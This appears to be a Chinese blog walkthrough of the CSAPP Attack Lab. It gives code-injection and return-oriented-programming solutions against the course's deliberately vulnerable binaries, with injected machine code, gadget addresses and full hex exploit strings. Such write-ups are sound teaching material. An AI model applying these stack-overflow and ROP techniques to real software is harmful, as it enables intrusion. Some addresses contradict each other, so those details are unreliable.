【深入理解计算机系统csapp】 attack lab实验四

前置知识

栈布局以及栈增长方向

在这里插入图片描述

缓冲区溢出示例

在这里插入图片描述

准备工作

  1. 反汇编两个需要做的文件
    objdump -d ctarget > ctarget.txt
    objdump -d rtarget > rtarget.txt
    在这里插入图片描述
  2. 得到了两个新文件ctarget.txtrtarget.txt
    在这里插入图片描述

  • README.txt:描述本目录内容的文件。
  • ctarget:一个容易遭受code-injection攻击的可执行程序。
  • rtarget:一个容易遭受return-oriented-programming攻击的可执行程序。
  • cookie.txt:一个8位的十六进制码,在后面解题会用到.
  • farm.c:你的目标“gadget farm”的源代码,在产生return-oriented programming攻击时会用到。
  • hex2raw:一个生成攻击字符串的工具。后面用这个工具处理

CI:代码注入攻击

phase_1

第一关根据题意得知执行test函数时会调用getbuf函数,但是不想让他调用这个函数,而是调用touch1函数,所以之需要将getbuf的返回地址改为touch1的返回地址即可。

实验思路:
我们知道在缓冲区溢出的时候会冲掉一部分的数据,所以之需要把getbuf中的18个字节冲掉,从低端向上冲掉,最后再把getbuf的地址换为touch1的地址。

存放示例图:
在这里插入图片描述

实验步骤:

  1. 查看test函数中的内容。test中调用了getbuf函数,esi中保存了传递的第一个参数。
000000000040181b <test>:
  40181b:	48 83 ec 08          	sub    $0x8,%rsp
  40181f:	b8 00 00 00 00       	mov    $0x0,%eax
  401824:	e8 56 fe ff ff       	callq  40167f <getbuf>
  401829:	89 c2                	mov    %eax,%edx
  40182b:	be 50 2e 40 00       	mov    $0x402e50,%esi	//查看传递参数的内容
  401830:	bf 01 00 00 00       	mov    $0x1,%edi
  401835:	b8 00 00 00 00       	mov    $0x0,%eax
  40183a:	e8 b1 f4 ff ff       	callq  400cf0 <__printf_chk@plt>
  40183f:	48 83 c4 08          	add    $0x8,%rsp
  401843:	c3                   	retq  
  1. 查看esi中的内容。在test打个断点,然后使用x/2s查看内容。
    在这里插入图片描述
  2. 查看getbuf函数。getbuf函数中调用了gets函数。
000000000040167f <getbuf>:
  40167f:	48 83 ec 18          	sub    $0x18,%rsp
  401683:	48 89 e7             	mov    %rsp,%rdi
  401686:	e8 59 02 00 00       	callq  4018e4 <Gets>
  40168b:	b8 01 00 00 00       	mov    $0x1,%eax
  401690:	48 83 c4 18          	add    $0x18,%rsp
  401694:	c3                   	retq   
  1. 在touch1函数中查看其地址。在这里插入图片描述

  2. 在当前目录的终端中创建一个touch1.txt文件夹,将touch1的地址放入。由于是小端存放所以倒着存放
    在这里插入图片描述

答案:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
95 16 40 00 00 00 00 00 %touch1的地址
  1. 使用hex2raw工具进行编译,Ctarget默认会连接CMU的服务器,加-q参数可以取消连接服务器。(不加-q也可)

./hex2raw < touch1.txt | ./ctarget -q
在这里插入图片描述
过了之后一定一定记得转化为二进制文件!!!要不cg系统提交之后是零分!!!!卡了一周!!
./hex2raw <touch1.txt> ctarget.l1
在这里插入图片描述

phase_2

实验思路:
第二道题要求我们还是将getbuf的地址改为touch2的地址。题目要求在这个例子中,你必须让touch2以为它收到的参数是你的cookie,所以有一个参数值要与cookie相等,cookie的值为0x3d9549ca,在传递参数是就可以把cookie放入寄存器rdi中,然后将touch2的地址压入栈,touch2的地址为0x401695。最后执行getbuf之后回到rsp那里,所以要找到rsp的地址,然后执行写好的三段代码。

在这里插入图片描述

实验步骤

  1. 本题的关键就是在改变返回地址前也设置rdi寄存器的值。因此我们可以很容易的想到我们要插入的汇编代码是什么:
mov $0x3d9549ca, %rdi
push $0x4016c1
ret
  1. 再来看一下getbuf的汇编代码,把rsp赋给了rdi然后调用了gets ,我们需要看一下rsp,在这里打一个断点。
    在这里插入图片描述
    gdb ctarget调试以下打个断点。
    在这里插入图片描述
    b getbuf 在getbuf函数处打断点。
    r 用-q参数运行程序,直到遇到断点。
    disas 反汇编当前函数。
    step 继续执行程序直到另一行代码,再中断,把控制器交给gdb。
    stepi 跳过没有调试信息的函数。
    r /x $rsp 用16进制打印rsp寄存器的值。

rsp的值:

0x55654c98
  1. 用gcc –c t2.s 编译汇编文件,再用objdump命令获得上面这三条指令的字节表示。
    在这里插入图片描述

  2. 在当前目录的终端中创建一个touch2.txt文件夹

48 c7 c7 ca 49 95 3d 68 
c1 16 40 00 c3 00 00 00 %注入的代码
00 00 00 00 00 00 00 00
98 4c 65 55 00 00 00 00 %rsp的指向的地址
  1. 使用hex2raw工具进行编译./hex2raw < touch2.txt | ./ctarget
    在这里插入图片描述
    在这里插入图片描述

phase_3

和第二关差不多的思路组合答案。

  1. touch3的首地址0x4017ad,字符串的值cookie0x3d9549ca
  2. rsp:
55654c98

用rsp计算cookie的地址:
根据上一关我们已经得到的%rsp地址0x55654cb8,返回地址应为%rsp+0x18(保存代码执行地址的位置),然后字符串地址应为%rsp+0x20(32).
所以寄存器传递的地址是字符串的地址:0x55654cb8

movq $0x55654cb8, %rdi
pushq $0x4017ad
ret
  1. 注入代码部分:
    在这里插入图片描述

  2. 将cookie变成ASCII形式:
    转化网址

33 64 39 35 34 39 63 61

在这里插入图片描述

在这里插入图片描述

aaaa试了好多次才过了,没想到取地址符的有无还会影响机器码!!!!!!!!!!!!!

  1. 提交编译
    在这里插入图片描述

最后答案:

48 c7 c7 b8 4c 65 55 68 
ad 17 40 00 c3 00 00 00 %三条指令转换为的机器码
00 00 00 00 00 00 00 00 %填充满24字节
98 4c 65 55 00 00 00 00 %rsp的指向
33 64 39 35 34 39 63 61 %cookie的ascII码

ROP:面向返回的编程

下面的两关都是使用ROP攻击的例子了,因为栈随机化,所以不能使用固定的%rsp地址跳转,有些区域还会禁止代码可执行,这里使用ROP,用程序自身的代码片段来构造攻击。

gadget farm中的满足条件的gadget

gadget起始地址指令编号指令
addval_38540187358 (90) c3popq %rax
setval_42240185848 89 c7 c3movq %rax,%rdi
setval_24640186648 89 c7 c3movq %rax,%rdi
setval_232401919 48 89 e0 c3movq %rsp,%rax
add_xy40188748 8d 04 37 c3lea (%rdi,%rsi,1),%rax

phase_2

popq %rax的指令字节为:58,所以我们找到了如下函数:

0000000000401873 <addval_385>:
  401873:	8d 87 00 58 90 c3    	lea    -0x3c6fa800(%rdi),%eax
  401879:	c3

从中我们可以得出`popq %rax`指令的地址为:`0x401876`

movq %rax, %rdi的指令字节为:48 89 c7 c3,所以我们找到了如下函数:

0000000000401858 <setval_422>:
  401858:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)
  40185e:	c3
0000000000401866 <setval_246>:
  401866:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)
  40186c:	c3

从中我们可以得出movq %rax, %rdi指令的地址为:0x40185a0x401868

两个地址经过测试都可以通过。


在这里插入图片描述

cookie的地址:3d9549ca
touch2的地址为0x4016c1


生成攻击字符串:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 %0x18个字符填充0x00
76 18 40 00 00 00 00 00 % popq %rax 
ca 49 95 3d 00 00 00 00 % cookie (popq的目标)
6a 18 40 00 00 00 00 00 % movq %rax,%rdi
c1 16 40 00 00 00 00 00 % 返回到 touch2

记得再用rtarget,开始一直用的ctarget过不了。
./hex2raw < touch4.txt | ./rtarget

在这里插入图片描述

输入保存./hex2raw < touch4.txt > rtarget.l2
在这里插入图片描述

phase_3

第一步,寻找到与movq %rsp, %rax有关的地址

0000000000401919 <setval_232>:
  401919:	c7 07 c8 48 89 e0    	movl   $0xe08948c8,(%rdi)
  40191f:	c3

movq %rsp, %rax的指令字节为:48 89 e0, 所以这一步的gadget1地址为:0x40191c

第二步,找到一个递增的%rax的代码片指向我们的cookie地址,即找到add $0x37, %al

0000000000401887 <add_xy>:
  401887:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  40188b:	c3                   	retq   

add $0x37, %al的指令字节为:04 37, 所以这一步的gadget2地址为:0x401889

第三步,找到mov %rax, %rdi

movq %rax, %rdi的指令字节为:48 89 c7 c3,所以我们找到了如下函数:

0000000000401858 <setval_422>:
  401858:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)
  40185e:	c3
0000000000401866 <setval_246>:
  401866:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)
  40186c:	c3

所以这一步的gadget3地址为:0x40185a0x401868

答案存放方式:
在这里插入图片描述
第一个填充区的大小为0x18是24字节。
touch3的地址:4017ad
第二个填充区的大小为55(0x37)-3*8=31字节

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 %第一填充区24字节
1c 19 40 00 00 00 00 00 %gadget1的地址
89 18 40 00 00 00 00 00 %gadget2的地址
5a 18 40 00 00 00 00 00 %gadget3的地址
ad 17 40 00 00 00 00 00 %touch3的地址
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 33 %第二填充区31字节
64 39 35 34 39 63 61 00 %字符串

测试有没有通过:./hex2raw < touch5.txt | ./rtarget,pass了
在这里插入图片描述
保存一下
在这里插入图片描述

最后提交检测

最后再在桌面上创建一个名为attacklab的文件夹,把生成的二进制文件放到新创建的文件夹中,提交检测即可。
在这里插入图片描述

参考文章

参考了网上的文章做的。侵删
https://www.jianshu.com/p/db731ca57342
https://www.viseator.com/2017/07/18/CS_APP_AttackLab/
https://blog.csdn.net/lijun538/article/details/50682387
https://blog.csdn.net/C__C_/article/details/111308959
attacklab

hex2raw的使用

hex2raw的输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值。例如,字符串“012345”,必须输入“30 31 32 33 34 35 00”。十六进制字符之间以空白符(空格或新行)分隔。

可以把攻击字符串存入文件中,例如exploit.txt,以下列几种方式调用:

用一系列管道(pipe)通过hex2raw传递字符串。

unix> cat exploit.txt | ./hex2raw | ./ctarget

将raw字符串存在文件中,使用I/O重定向。

unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> ./ctarget < exploit-raw.txt

这种方法也可以在gdb中使用。

unix> gdb ctarget
(gdb) run < exploit-raw.txt

将raw字符串存在文件中,将文件的名字作为hex2raw的命令行参数。

unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> ./ctarget -i exploit-raw.txt

这种方法也可以在gdb中使用。

生成字节代码

假设编写一个汇编文件example.s,代码如下:

pushq   $0xabcdef             # Push value onto stack
addq    $17,%rax              # Add 17 to %rax
movl    %eax,%edx             # Copy lower 32 bits to %edx

可以汇编和反汇编文件:

unix> gcc -c example.s

unix> objdump -d example.o > example.d

生成的example.d包含如下内容:

example.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0: 68 ef cd ab 00             pushq  $0xabcdef
   5: 48 83 c0 11                add    $0x11,%rax
   9: 89 c2                      mov    %eax,%edx

由此可以推出这段代码的字节序列:

68 ef cd ab 00 48 83 c0 11 89 c2

可以通过hex2raw生成目标程序的输入字符串。也可以手动修改example.d的代码,得到下面的内容:

68 ef cd ab 00   /* pushq  $0xabcdef  */
48 83 c0 11     /* add    $0x11,%rax */
89 c2          /* mov    %eax,%edx  */

这也是合法的hex2raw的输入。

  • 33
    点赞
  • 88
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 10
    评论
### 回答1: 深入理解计算机系统(CSAPP)是由Randal E. Bryant和David R. O'Hallaron编写的经典计算机科学教材。该教材通过涵盖计算机体系结构、机器级别表示和程序执行的概念,帮助学生深入理解计算机系统的底层工作原理和运行机制。 深入理解计算机系统的练习题对于学生巩固并应用所学知识非常有帮助。这些练习题涵盖了计算机硬件、操作系统和编译器等多个领域,旨在培养学生解决实际问题和设计高性能软件的能力。 对于深入理解计算机系统的练习题,关键是通过实践进行学习。在解答练习题时,应根据课本提供的相关知识和工具,仔细阅读问题描述,并根据实际需求设计相应的解决方案。 在解答练习题时,需要多角度思考问题。首先,应准确理解题目要求,并设计合适的算法或代码来解决问题。其次,应考虑代码的正确性和效率,以及对系统性能的影响。此外,还要注意处理一些特殊情况和异常情况,避免出现潜在的错误或安全漏洞。 解答练习题的过程中,应注重查阅相关资料和参考优秀的解答。这可以帮助我们扩展对问题的理解,并学习他人的思路和解决方法。同时,还可以通过与同学和老师的讨论,共同探讨问题和学习经验。 总之,通过解答深入理解计算机系统的练习题,可以帮助学生巩固所学知识,同时培养解决实际问题和设计高性能软件的能力。这是一个学以致用的过程,可以加深对计算机系统运行机制和底层工作原理的理解。 ### 回答2: 理解计算机系统(CSAPP)是一本经典的计算机科学教材,通过深入研究计算机系统的各个方面,包括硬件、操作系统和编程环境,对于提高计算机科学专业知识与能力具有很大帮助。 练习题是CSAPP中的重要部分,通过练习题的完成,可以加深对计算机系统的理解,并将理论知识转化为实践能力。练习题的数量、难度逐渐递增,从简单的概念与基础问题到复杂的系统设计与实现。 在解答练习题时,首先需要对题目进行仔细阅读和理解,明确题目的要求和限制条件。然后,可以利用课堂讲解、教材内容、网络资源等进行查阅和学习相应的知识。同时,还可以参考课后习题解答等资料,了解一些常见的解题方法和思路。 在解答练习题时,可以利用计算机系统的工具和环境进行实际测试和验证。例如,可以使用调试器、编译器和模拟器等工具对程序或系统进行分析和测试。这样可以更加深入地理解问题的本质,并找到恰当的解决方法。 另外,解答练习题时还可以与同学、教师和网上社区进行交流和讨论。这样可以互相学习和交流解题思路,共同解决问题。还可以了解不同的解题方法和技巧,提高解题效率和质量。 练习题的解答过程可能会遇到一些困难和挑战,例如理论知识的不足、复杂问题的分析与解决。但是通过不断地思考和实践,相信可以逐渐提高解题能力,更好地理解计算机系统。 总之,深入理解计算机系统(CSAPP)练习题是提高计算机科学专业知识和能力的重要途径。通过仔细阅读和理解题目,查阅相关知识,利用计算机系统工具和环境进行实践,与他人进行交流和讨论,相信可以更好地理解计算机系统的各个方面,并将知识转化为实际能力。 ### 回答3: 《深入理解计算机系统(CSAPP)》是计算机科学领域的经典教材之一,对于深入理解计算机系统的原理、设计和实现起到了极大的帮助。在阅读这本书的过程中,书中的习题也是非常重要的一部分,通过做习题,我们可以更好地理解书中所讲的概念和思想。 CSAPP的习题涵盖了课本中各个章节的内容,从基础的数据表示和处理、程序的机器级表示、优化技术、程序的并发与并行等方面进行了深入探讨。通过解答习题,我们可以对这些知识进行实践应用,巩固自己的理解,并培养自己的解决问题的思维方式。 在解答习题时,我们需要充分理解题目要求和条件,并从知识的角度进行分析。有些习题可能需要进行一些编程实践,我们可以通过编程实现来验证和测试我们的思路和解决方案。在解答问题时,我们还可以查阅一些参考资料和网上资源,充分利用互联网的学习资源。 在解答习题时,我们需要保持积极的思维和态度。可能会遇到一些困难和挑战,但是通过坚持和努力,我们可以克服这些困难,提高我们的解决问题的能力。同时,我们还可以通过与同学或者其他人进行讨论,相互分享解题经验和思路,从而更好地理解问题。 综上所述,通过深入理解计算机系统(CSAPP)的习题,我们可以进一步巩固和深化对计算机系统的理解。掌握这些知识,不仅可以提高我们在计算机领域的能力,还可以为我们未来的学习和职业发展奠定重要的基础。因此,认真对待CSAPP的习题,是我们在学习计算机系统知识中不可或缺的一部分。
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lydia.na

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值